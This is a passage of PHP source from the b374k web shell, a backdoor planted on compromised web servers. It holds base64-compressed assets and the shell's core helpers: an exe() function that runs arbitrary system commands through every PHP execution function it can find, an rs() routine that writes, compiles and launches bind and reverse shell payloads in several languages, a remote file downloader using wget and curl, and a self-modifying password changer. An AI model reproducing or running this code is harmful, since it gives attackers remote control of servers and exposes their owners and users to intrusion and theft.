c59Rf3rDreW6HeBRgQocDia8wiq6wnZosmPSHp7MRiQQtEyDs7g4Grw2D7VvkiHNP1E7whrYugg/MpMnsVdPkS6PKzQB/P+Dti9rB0FX66T872Q7c7Kg52PTyH078HJ6NW5AcZLazIOfKWnYDwBv+OYvg31A7+otrBf17t4LLavSBv8L+8XToCr8sbfKa8wReTN3hGNODflTf4J+TtHPQ5efsimvbu9k8=";
$s_favicon = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKYSURBVDjLnZPJT1NRFMb5G1wDHV5boNiqdHrvFYolCAtsGSSWKpMFKhYqlDI6oAEKaVJwCIgSphaKtLYWCgSNBgRjMNHoxsSFS3cmJmA0NMTw+R6JKKZl4eJL7sm953fOd3JPHIC4WMpcppG5SGnZc8ZjVVF6QLn975sDgfaZmvg71oRJZIRUYcuAnq/2KWroGfm3QwEn2YpLVPPvOD2oiqj9yq/mGznegl56mx6T7ZbY1M6YAM0CuZkxT0b2Wg6QW/SsApRXDsotR+d6E9Y/h9DuqoCuJq0lKoDxqU1/pITGR27mBU4h+GEcTz5OY+ClA5JbyahYzof/9TBO9B/FcWcqpA4xU3We3GJ87ntnfO5meinMvruNnqcmXA2XoDVcCc0wCYkzBaZpA7ILRJ/2O2B87jA+QT9UeDRe8svZYAG8b/txc6kc9mA+yqayYPQXwvdmBEOrA5B2p0BtFIYOWKCm5RukWwZyXIbA+0F0LpaiKaBHmVsLw4we99ccsM8a8GClF5JOMcQdou8prULrgRmQo7KI0VcE13MrGv06lE5kodhzGvdWu2GdKkTVWC4DcELcJkKyXbCb1EhAVM//M0DVUNqP2qAJd1baUDaZjTMTeXAttsPi0cM0mgvHvA0NkxYk2QRIrieOsDmEmXttH0DfVfSluSToWmpD8bgOroUOWNw6VI7koGfOBuq6EqLLTNU6ojrmP5D1HVsjmrkYezGIrlA9LjKgnrlGXJlpgbCOD0EtD0QNN8I3cZqjAlhJr4rXpB1iNLhrYffUQWoT7yUKzbxqJlHLq0jc5JYmgHMunogKYJVqF7mTrPyfgktMRTMX/CrOq1gLF3fYNrLiX+Bs8MoTwT2fQPwXgBXHGL+TaIjfinb3C7cscRMIcYL6AAAAAElFTkSuQmCC";
$s_arrow = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAACXBIWXMAAAsSAAALEgHS3X78AAAEYElEQVRYw8VXS0xcVRj+z7kv5tF5MPfOo1AgkFBKoQPuFAyxstKkcWHjGhOjcacxujMxaqtx48b4iDExxiZuXBVdtEURN00qDBMgTUOmnTEMc+/ce4d5c+k957gZEKYCd5DSb3tOzv+d//0hcACO47hgsL07HA5fDIfDkz6ffxQAogDgblypMcZypVIpYRj6DVVVZ0zTSBNCyGFvo4MOMca8LMsjvb19r8uy8iLGOAIA+JA3KaVU1XV9OpVa/VrX9QSl1G6ZgM/ni5w7N/iuooSnMMZBOAIopQVN0767e3fls1KppDoigBCCrq6ukf7+gS9cLtfTh3nJAVi9Xr+dTCbf1LTcAmNsb3ibjXd394wPDQ1fE0UxfgzGAQCQIAid0Whs8uHDrflisZjZl8Dp052jw8PxazzP9cExA2PcHgopE7Va7Y9yuZR7hIDP54uMjj71gySJF+AxAWPcHgwGh3U9f92yrOoOAYwxF4+PvB8IBF9u0e02AFAHlbEDQRA63W43zWbXf2eMMQwA0NHROaoo4VdbeYgxZmUy6SuZTPojxthmK46QZeU1WQ5d2O4x3MDA4Ader3esFePp9IMrS0tLn2iaNieKIvH7A88ghHhHWYmQWxQltL6e/ZULheTe/v7+qwjhU60YX15e/pQQ22KMEsMwbrdKwuVyxQoF82eup6fvcigUesVJ7Bljm+n0g6vbxnc1HKLrrZFACHksy1rhBgfPv9fW1jbk8OePGP/3fIeE7fcHxhyQQBijOhePj3wIAHIrbt//Xmue4HmB586eHfgYAKSj/vz/eAJjLPAA4DlonhSLpe9VVfsxGAyGd8d8Y6OgUkrJdh8JBIIRjPFOY1NV7adAINgRCATeOKC8vejSpZfs5pa8+0MAUGSM7RmnlmXlZ2d/m7AsKw8AIEmSMjHx3KwkSUpTovEA4D8gwQkPAJXGpf2mZQAh1JzBpOlXGCHUjhCSW+zOFWzbdg6eEGzbXseVSnnxSRGoVMqLWNfNm42BctIghmHcxJqWu0UpOfEwUErVfF6bwYWCmdZ1Y/qkCei6Pm0YRhoTQkgqtfoVpdR0vGMhwKIoKZIkRSRJioiipCDkfJRTSo1UavVLQgjhG2wW83nt20gk+o6TnUAQxNDY2PgMY4w2yhILghByat80jW8Mw0jubESMMVaplJORSHRcEIQzDiYZ4jjOw/O8l+d5L8dxHtTcLPbB5mb9z0Ri4a16vV7ZsxNallWtVqt/xWKxixjj0GNJe0LuLSzMTxmGfv8/t+JarapubW3Ny7Ly7HGTsG373srK8lQ2u3Zn37UcAKBYLP5tWZtzPp9vUBDEM8egDWi1Wp1bXExMZbNrdw4UJrtIqLmcel0UJdvj8Z7HGLmPVuvEWFtb+zyRWHh7Y6Nw/yjilJNlpSFO5RcwxjGH4nRd1/VfdolTciR13CTPu8Lh8POyLE96vafiPM9HAWB7kS3btp2rVMpJ0zRvqKp6yzSNjBN5/g/C3ULDeIdIrQAAAABJRU5ErkJggg==";
$s_dark_cb = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAeCAYAAADzXER0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAASdJREFUeNrsk0GKwjAYhZNJqYviQpDKLOcY3sOFIF5DFF0KgjeYAwizmDuNOxHcFrGlje9pA1KbNOqshvnh2YD58v6m75dxHIdCiAk0gt5Fc+2gDbQO8DNTSk1D1BtKSikoWxVF0U7TdJ5lmSI8BtfCARKsoFyw1poeLcBjwl0aEgqCwAma4n5yhC+AceSzqdD69RAD+zjedSBeqH/4CfiA74bgaG+o3HxQURR1sOgjnqpMDv+0ikZJkpzyPP9kwlbIaQgNsO55GO+hb2hp3vnI1Hl2XZT7xe+PJNbWYWgcyao7L+p22h4ayephdyPJVl3v+jFcuhNmg+tAazxvN9tA86m83H6+Fm5n3mpd49sSlDaYN3jJb8WFazMy2rftujb/yEieBRgAZHG/OeGef6MAAAAASUVORK5CYII=";
$s_bright_cb = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAeCAYAAADzXER0AAAACXBIWXMAAAsSAAALEgHS3X78AAABP0lEQVQ4je2TsUoDQRCGv5m93RRBLBIQO/NOFgHJa4iiZUDwNUSx8J0s5SCFkkJy3M5aJBfwLrm7oI3gD8sWO9/+O+z8kud5AC6BC+CUbr0Bj8B9BlzHGK+KoghmpiklUkp7SVU9CiHceO9dBsyKohjEGMXMMLNWWETUzAbe+1kGjM1MzIyyLFvBSmYmwDgDSCltHc2sE1bV9V7BfRwblxxM/MM/gxeqmkSkNyQiCVgo8BBCWDnnkoigqq3LOZeGw+EKeMqAO+998N6fAyc9jHPgBZhXPX8C3XO5lm3q+f1Ixhh3QUCPSNbdReRb2g6KZP2yRiRjjK29vj7fNlupO/QFG/Cu4n0grL+ql9tkOm93FhF2PfxsA9bPtrCqIiJIzWUynVNFph4dyfP8fblcHpdlSTUkXVJVRqPRxx+N5BfD5OFvXtL9jAAAAABJRU5ErkJggg==";
$s_style = "rVbLjpswFP0VqqhSH4AgSTMzoH5Cl11VXRgwwRqwkTGdZBD/Xj/BgJNppbE3Drm+z3PP9ZehJJgFJWhQfU1+Zj1mvfeDYOJ3kKIyHTNSXIcM5M9nSnpcJLtIrlRe69ArTOJ9e0lzUhOa7Eq51J8vEJ0rlhy58FjRISO0gDSJ24vXkRoV3m4vVzqCwdw+y0PK4IUFBcwJBQwRnGCCIRdLKvIH0mFpamwpHFpQFAifk8h75L6MJaHNUKCurcE1QbhG4joDWQ09VvntkPe04yoKWIK+Zum4awDCiyBjudKgIa+BcjygoEB9l8QRt+D49IIKVvFj9DE13vC8KH92FQRcfpBxgRqdcVLDkqUNoGeEk2i6EU2yHiuGe39X8TBXYC8c4PnOnhELGAW4ExlIKGGAwU9BfAgPDwU8f1bx3BO4b9IDfggvLU8/rFHHVD08sK7IroG4d6XTaPdEZo4yMxR2vATDfyR6iyMDG1HnoFKoi09CdOuCdhXINTukgGOCPprChSJ0hEui0RuIsrlMa0UnS4mIUSiWnihNLKs7j9FB+7gXKeAZZCgHtcZFg4qi5mgNz+DKs23jXZuye+tB9JYUepfq15AxHmTXglxHwLWLYjZoUc79k9jpv3StQ+WKOd7Fcwd+jhv4iC8bgM+1VoFqkrHDPZzEvu3oW37O/48hwm3PXv2wpaRpmR+yCwMUAle3aKBHJoqMMEYaG32HJ7HvU7EFR25emR22GDJ+WDSmUXp4iORV5XnWs2Flb+H6k9hrZNyk/qn/JBkYbhkcXCrKFM0inHTcQ2IS4Px5M2/aus0Xrl5kpE1Xk2VWX22SuOgQZcHcPk0gm+5TB9DiR7E/oKYllAHMJ1PYwYbP5CuaxpkM00XToeApT045O4HLFjjdJVCtVuXaqH7U1RfKK5/HvfXYwUlK/u0aaMlqbw/HHGJOGjauv61xlou9ZpfTpuWtL1sXXGEv5kAczbFPUy6XS9Augi8lcmb7ZrjWwFGQN0r+JVeOxNvotQfPUnnOE8lTOj2T4ngmvWtGLu8zfm+n8bg0J6p9M9ajXGsG2QLeMx2JCUPlApTmktahH6xbYKxRq40cFvDXvnv72diMBa16DEtC2PKBR4VaG8IieY5pqDWtCGP9bPBV5vjJRtsoOfkXu7bwe17B/JmL/A7zrgvML++rV4MM1vKjPBkQqKeMfDmaJ5NosuWrOchqkj8vH1bLVgwobCFgnJb0yf6vJR2S3MyrdeOho5/iLUGy5d+OKJEHWDgic1sOpMeqi33NNrE5UP9Ng0vmHf8C";
$s_mime_types = "dZThdqMgEIX/7zn7DvMC2jZ62t3HmQgaGkepCDFvvxeNis32xx3huwMYmUkwSvcvRWMtIfz+Fbb5CeC0gsvp/Y1iSEARQZGAMoJyBZ9WN/Rpm7ADoUWNrEw+T7TIbmeJLemhgNCUu4EdH2EekLwh47Sd0DcN9fuBX95U19GIpq+RpN946FSudKXziyIfLlC4PHnSn02r4Un05cm3ca2Nnn3yXPRc9NyTN0+jFXV8pXDO63gmBimvw0hQiuJH8ENLMnmS0h8sl9mW74Nmdc9FK8O5vQeC0iyc7fP4kX3w8UUOWwQTekJY2U2fhWJYwZTVuBooAa0hKAXIaJMMibeZLhEeh95dmeQK51ooBJfYHe64axLgMnY1LZoOPPRngg7shneWbyQAhW9sAjvudgtg4cCWW+OQ/EDXmAxFZTTNMTFwjIvHsFemf2FlKyHEFZzZmYrYk+vUysQoQwg0D6480CBmM5dm4H2+tAC+HLoUioMCjYBnsWUtzcAUn85OK3aFELRNTXslhHW+1ek8RWlwLA8+2KYxI7fZzXTKke6Pawcm6IBGR9A3FJsPj4tKeesr3Y156E2lqQ029f5b2IzCPhzWeT1wjh/Q2vLP6yttox+SPsqPR1Ic/ZD0933dKY7SpMFYgla0dsr2SlPGjLvmKgGmRgGbWXNIvIprgnZQt1gew46StkmO2f4RCp9A1DKjlnk6MmHUfLLYdhk+a7tc+cBCww8mbsA3pkNx2j3hxmgr3up9EprkHw==";
// http://www.kryogenix.org/code/browser/sorttable/ - SortTable (c) Stuart Langridge
$s_sortable_js = "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";
// https://github.com/ded/domready - domready (c) Dustin Diaz
$s_domready_js = "VVJNb9swDP0riQ6GBAjOetglheBD19uGHrpbkAKaRFcqZMmQ6HSB5/8+2mm+Lpb5yPf4SGndDtGgT5GDRDHisYfUrrpkhwBrxYZoofURLGtOWA1/+5SxKORi+1V9KlGKnbVYVd2lat1ZSqc/H2CQNSeQIwk4X3awn8UmzmzqMmh7ZPJqSozn/1U/R049PH46H4CDwro43xJXAPEPOq9Q7fYyyqzWD9Irm8zQQURZlK/PwXOABUuqEPZqcgpBDor9ePn1lCJS6mfSlgaWWjFt7fNhhnyhDGRyRmPExWVBjWCcju/AZFBsAV9nkEmjUrN5C4vQvzez2V4Cs5FOmRqhIPe7sBePGXDIceV3el9V85cPMqrLBsTo6wxdOsCdk7lIZiF7mnw+E3FrjaiNW+p4ey+yIRc3XauK00rgrnwRE5OQQO4v1CjGAqFdK0x945o4X3vdD8VRZnvTAPNxvG6UswAtMjEZjcbRVY9fYxbA376DNFDLKxlIbJLfv4kpzi9BTNvbF+AauHYFMU3iPw==";

// magic quote and shit :-p
function clean($arr){
    $quotes_sybase = strtolower(ini_get('magic_quotes_sybase'));
    if(function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()){
        if(is_array($arr)){
            foreach($arr as $k=>$v){
                if(is_array($v)) $arr[$k] = clean($v);
                else $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === 'off')? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v));
            }
        }
    }
    return $arr;
}
// function read file
function fgc($file){
    return file_get_contents($file);
}
// encryption for shell password
function kript($plain){
    return sha1(md5($plain));
}
function changepass($plain){
    $newpass = kript($plain);
    $newpass = "\$s_pass = \"".$newpass."\";";
    $con = fgc($_SERVER['SCRIPT_FILENAME']);
    $con = preg_replace("/\$s_pass\ *=\ *[\"\']*([a-fA-F0-9]*)[\"\']*;/is",$newpass,$con);
    return file_put_contents($_SERVER['SCRIPT_FILENAME'], $con);
}
function get_code($t, $c){
    global $s_self;
    $c = gzinflate(base64_decode($c));
    if($t=="css"){
        return "<link rel='stylesheet' type='text/css' href='".$s_self."|' />";

    }
    elseif($t=="js"){
        return "<script type='text/javascript' src='".$s_self."!'></script>";
    }
}
function showcode($raw){
    $c = gzinflate(base64_decode($raw));
    ob_get_contents();
    ob_end_clean();
    ob_start();
    eval("?>".$c);
    $s_res = ob_get_contents();
    ob_end_clean();
    echo $s_res;
    die();
}
// addslashes if on windows
function adds($s_s){
    global $s_win;
    return ($s_win)? addslashes($s_s):$s_s;
}
// add slash to the end of given path
function cp($s_p){
    global $s_win;
    if(@is_dir($s_p)){
        $s_x = DS;
        while(substr($s_p, -1) == $s_x) $s_p = rtrim($s_p, $s_x);
        return ($s_win)? preg_replace("/\+/is", "\", $s_p.$s_x):$s_p.$s_x;
    }
    return $s_p;
}
// make link for folder $s_cwd and all of its parent folder
function swd($s_p){
    global $s_self;
    $s_ps = explode(DS,$s_p);
    $s_pu = "";
    for($s_i = 0; $s_i < sizeof($s_ps)-1; $s_i++){
        $s_pz = "";
        for($s_j = 0; $s_j <= $s_i; $s_j++) $s_pz .= $s_ps[$s_j].DS;
        $s_pu .= "<a href='".$s_self."cd=".pl($s_pz)."'>".$s_ps[$s_i]." ".DS." </a>";
    }
    return trim($s_pu);
}
// htmlspecialchars
function hss($s_t){
    //$s_s = htmlspecialchars($s_s, 8);
    return htmlspecialchars($s_t, 2 | 1);
}
// function raw urldecode
function ru($str){
    return (is_array($str))? array_map("rawurldecode", $str):rawurldecode($str);
}
// encode link, htmlspecialchars and rawurlencode
function pl($str){
    return hss(rawurlencode($str));
}
// add quotes
function pf($f){
    return "\"".$f."\"";
}
// replace spaces with underscore ( _ )
function cs($s_t){
    return str_replace(array(" ", "\"", "'"), "_", $s_t);
}
// trim and urldecode
function ss($s_t){
    return rawurldecode($s_t);
}
// return tag html for notif
function notif($s){
    return "<div class='notif'>".$s."</div>";
}
// bind and reverse shell
function rs($s_rstype,$s_rstarget,$s_rscode){
    // resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_js $s_rs_c $s_rs_java $s_rs_java $s_rs_win $s_rs_php
    $s_result = $s_fpath = "";
    $s_fc = gzinflate(base64_decode($s_rscode));

    $s_errperm = "Directory ".getcwd().DS." is not writable, please change to a writable one";
    $s_errgcc = "Unable to compile using gcc";
    $s_errjavac = "Unable to compile using javac";

    $s_split = explode("_", $s_rstype);
    $s_method = $s_split[0];
    $s_lang = $s_split[1];
    if($s_lang=="py" || $s_lang=="pl" || $s_lang=="rb" || $s_lang=="js"){
        if($s_lang=="py") $s_runlang = "python";
        elseif($s_lang=="pl") $s_runlang = "perl";
        elseif($s_lang=="rb") $s_runlang = "ruby";
        elseif($s_lang=="js") $s_runlang = "node";
        $s_fpath = "b374k_rs.".$s_lang;
        if(@is_file($s_fpath)) unlink($s_fpath);
        if($s_file = fopen($s_fpath, "w")){
            fwrite($s_file, $s_fc);
            fclose($s_file);
            if(@is_file($s_fpath)){
                $s_result = exe("chmod +x ".$s_fpath);
                if($s_runlang=="node"){
                    if(check_access("node")!==false) $s_result = exe($s_runlang." ".$s_fpath." ".$s_rstarget);
                    elseif(check_access("nodejs")!==false) $s_result = exe($s_runlang."js ".$s_fpath." ".$s_rstarget);

                }
                else $s_result = exe($s_runlang." ".$s_fpath." ".$s_rstarget);
            }
            else $s_result = $s_errperm;
        }
        else $s_result = $s_errperm;
    }
    elseif($s_lang=="c"){
        $s_fpath = "b374k_rs";
        if(@is_file($s_fpath)) unlink($s_fpath);
        if(@is_file($s_fpath.".c")) unlink($s_fpath.".c");
        if($s_file = fopen($s_fpath.".c", "w")){
            fwrite($s_file,$s_fc);
            fclose($s_file);
            if(@is_file($s_fpath.".c")){
                $s_result = exe("gcc ".$s_fpath.".c -o ".$s_fpath);
                if(@is_file($s_fpath)){
                    $s_result = exe("chmod +x ".$s_fpath);
                    $s_result = exe("./".$s_fpath." ".$s_rstarget);
                }
                else $s_result = $s_errgcc;
            }
            else $s_result = $s_errperm;
        }
        else $s_result = $s_errperm;
    }
    elseif($s_lang=="win"){
        $s_fpath = "b374k_rs.exe";
        if(@is_file($s_fpath)) unlink($s_fpath);
        if($s_file = fopen($s_fpath,"w")){
            fwrite($s_file,$s_fc);
            fclose($s_file);
            if(@is_file($s_fpath)){
                $s_result = exe($s_fpath." ".$s_rstarget);
            }
            else $s_result = $s_errperm;
        }
        else $s_result = $s_errperm;
    }
    elseif($s_lang=="java"){
        $s_fpath = "b374k_rs";
        if(@is_file($s_fpath.".java")) unlink($s_fpath.".java");
        if(@is_file($s_fpath.".class")) unlink($s_fpath.".class");
        if($s_file = fopen($s_fpath.".java", "w")){
            fwrite($s_file,$s_fc);
            fclose($s_file);
            if(@is_file($s_fpath.".java")){
                $s_result = exe("javac ".$s_fpath.".java");
                if(@is_file($s_fpath.".class")){
                    $s_result = exe("java ".$s_fpath." ".$s_rstarget);
                }
                else $s_result = $s_errjavac;
            }
            else $s_result = $s_errperm;
        }
        else $s_result = $s_errperm;
    }
    elseif($s_lang=="php"){
        $s_result = eval("?>".$s_fc);
    }

    if(@is_file($s_fpath)) unlink($s_fpath);
    if(@is_file($s_fpath.".c")) unlink($s_fpath.".c");
    if(@is_file($s_fpath.".java")) unlink($s_fpath.".java");
    if(@is_file($s_fpath.".class")) unlink($s_fpath.".class");
    if(@is_file($s_fpath."\$pt.class")) unlink($s_fpath."\$pt.class");

    return $s_result;
}
function geol($str){
    $nl = PHP_EOL;
    if(preg_match("/
/", $str, $r)) $nl = "
";
    else{
        if(preg_match("/
/", $str, $r)) $nl = "
";
        elseif(preg_match("/
/", $str, $r)) $nl = "
";
    }
    return bin2hex($nl);
}
// format bit
function ts($s_s){
    if($s_s<=0) return 0;
    $s_w = array('B','KB','MB','GB','TB','PB','EB','ZB','YB');
    $s_e = floor(log($s_s)/log(1024));
    return sprintf('%.2f '.$s_w[$s_e], ($s_s/pow(1024, floor($s_e))));
}
// get file size
function gs($s_f){
    $s_s = @filesize($s_f);
    if($s_s !== false){
        if($s_s<=0) return 0;
        return ts($s_s);
    }
    else return "???";
}
// get file permissions
function gp($s_f){
    if($s_m = @fileperms($s_f)){
        $s_p = 'u';
        if(($s_m & 0xC000) == 0xC000)$s_p = 's';
        elseif(($s_m & 0xA000) == 0xA000)$s_p = 'l';
        elseif(($s_m & 0x8000) == 0x8000)$s_p = '-';
        elseif(($s_m & 0x6000) == 0x6000)$s_p = 'b';
        elseif(($s_m & 0x4000) == 0x4000)$s_p = 'd';
        elseif(($s_m & 0x2000) == 0x2000)$s_p = 'c';
        elseif(($s_m & 0x1000) == 0x1000)$s_p = 'p';
        $s_p .= ($s_m & 00400)? 'r':'-';
        $s_p .= ($s_m & 00200)? 'w':'-';
        $s_p .= ($s_m & 00100)? 'x':'-';
        $s_p .= ($s_m & 00040)? 'r':'-';
        $s_p .= ($s_m & 00020)? 'w':'-';
        $s_p .= ($s_m & 00010)? 'x':'-';
        $s_p .= ($s_m & 00004)? 'r':'-';
        $s_p .= ($s_m & 00002)? 'w':'-';
        $s_p .= ($s_m & 00001)? 'x':'-';
        return $s_p;
    }
    else return "???????????";
}
// shell command
function exe($s_c){
    $s_out = "";
    $s_c = $s_c." 2>&1";

    if(is_callable('system')) {
        ob_start();
        @system($s_c);
        $s_out = ob_get_contents();
        ob_end_clean();
        if(!empty($s_out)) return $s_out;
    }
    if(is_callable('shell_exec')){
        $s_out = @shell_exec($s_c);
        if(!empty($s_out)) return $s_out;
    }
    if(is_callable('exec')) {
        @exec($s_c,$s_r);
        if(!empty($s_r)) foreach($s_r as $s_s) $s_out .= $s_s;
        if(!empty($s_out)) return $s_out;
    }
    if(is_callable('passthru')) {
        ob_start();
        @passthru($s_c);
        $s_out = ob_get_contents();
        ob_end_clean();
        if(!empty($s_out)) return $s_out;
    }
    if(is_callable('proc_open')) {
        $s_descriptorspec = array(
            0 => array("pipe", "r"),
            1 => array("pipe", "w"),
            2 => array("pipe", "w"));
        $s_proc = @proc_open($s_c, $s_descriptorspec, $s_pipes, getcwd(), array());
        if (is_resource($s_proc)) {
            while($s_si = fgets($s_pipes[1])) {
                if(!empty($s_si)) $s_out .= $s_si;
            }
            while($s_se = fgets($s_pipes[2])) {
                if(!empty($s_se)) $s_out .= $s_se;
            }
        }
        @proc_close($s_proc);
        if(!empty($s_out)) return $s_out;
    }
    if(is_callable('popen')){
        $s_f = @popen($s_c, 'r');
        if($s_f){
            while(!feof($s_f)){
                $s_out .= fread($s_f, 2096);
            }
            pclose($s_f);
        }
        if(!empty($s_out)) return $s_out;
    }
    return "";
}
// delete dir and all of its content (no warning !) xp
function rmdirs($s){
    $s = (substr($s,-1)=='/')? $s:$s.'/';
    if($dh = opendir($s)){
        while(($f = readdir($dh))!==false){
            if(($f!='.')&&($f!='..')){
                $f = $s.$f;
                if(@is_dir($f)) rmdirs($f);
                else @unlink($f);
            }
        }
        closedir($dh);
        @rmdir($s);
    }
}
function copys($s,$d,$c=0){
    if($dh = opendir($s)){
        if(!@is_dir($d)) @mkdir($d);
        while(($f = readdir($dh))!==false){
            if(($f!='.')&&($f!='..')){
                if(@is_dir($s.DS.$f)) copys($s.DS.$f,$d.DS.$f);
                else copy($s.DS.$f,$d.DS.$f);
            }
        }
        closedir($dh);
    }
}
// get array of all files from given directory
function getallfiles($s_dir){
    $s_f = glob($s_dir.'*');
    for($s_i = 0; $s_i<count($s_f); $s_i++){
        if(@is_dir($s_f[$s_i])){
            $s_a = glob($s_f[$s_i].DS.'*');
            if(is_array($s_f) && is_array($s_a)) $s_f = array_merge($s_f, $s_a);
        }
    }
    return $s_f;
}
// download file from internet
function dlfile($s_u,$s_p){
    global $s_wget, $s_lwpdownload, $s_lynx, $s_curl;

    if(!preg_match("/[a-z]+:\/\/.+/",$s_u)) return false;
    $s_n = basename($s_u);

    // try using php functions
    if($s_t = @fgc($s_u)){

        if(@is_file($s_p)) unlink($s_p);
        if($s_f = fopen($s_p,"w")){
            fwrite($s_f, $s_t);
            fclose($s_f);
            if(@is_file($s_p)) return true;
        }
    }
    // using wget
    if($s_wget){
        $buff = exe("wget ".$s_u." -O ".$s_p);
        if(@is_file($s_p)) return true;
    }
    // try using curl
    if($s_curl){
        $buff = exe("curl ".$s_u." -o ".$s_p);
        if(@is_file($s_p)) return true;
    }
    // try using lynx
    if($s_lynx){
        $buff = exe("lynx -source ".$s_u." > ".$s_p);
        if(@is_file($s_p)) return true;
    }
    // try using lwp-download
    if($s_lwpdownload){
        $buff = exe("lwp-download ".$s_u." ".$s_p);
        if(@is_file($s_p)) return true;
    }
    return false;
}
// find writable dir
function get_writabledir(){
    if(!$s_d = getenv("TEMP")) if(!$s_d = getenv("TMP")) if(!$s_d = getenv("TMPDIR")){
        if(@is_writable("/tmp")) $s_d = "/tmp/";
        else if(@is_writable(".")) $s_d = ".".DS;
    }
    return cp($s_d);
}
// zip function
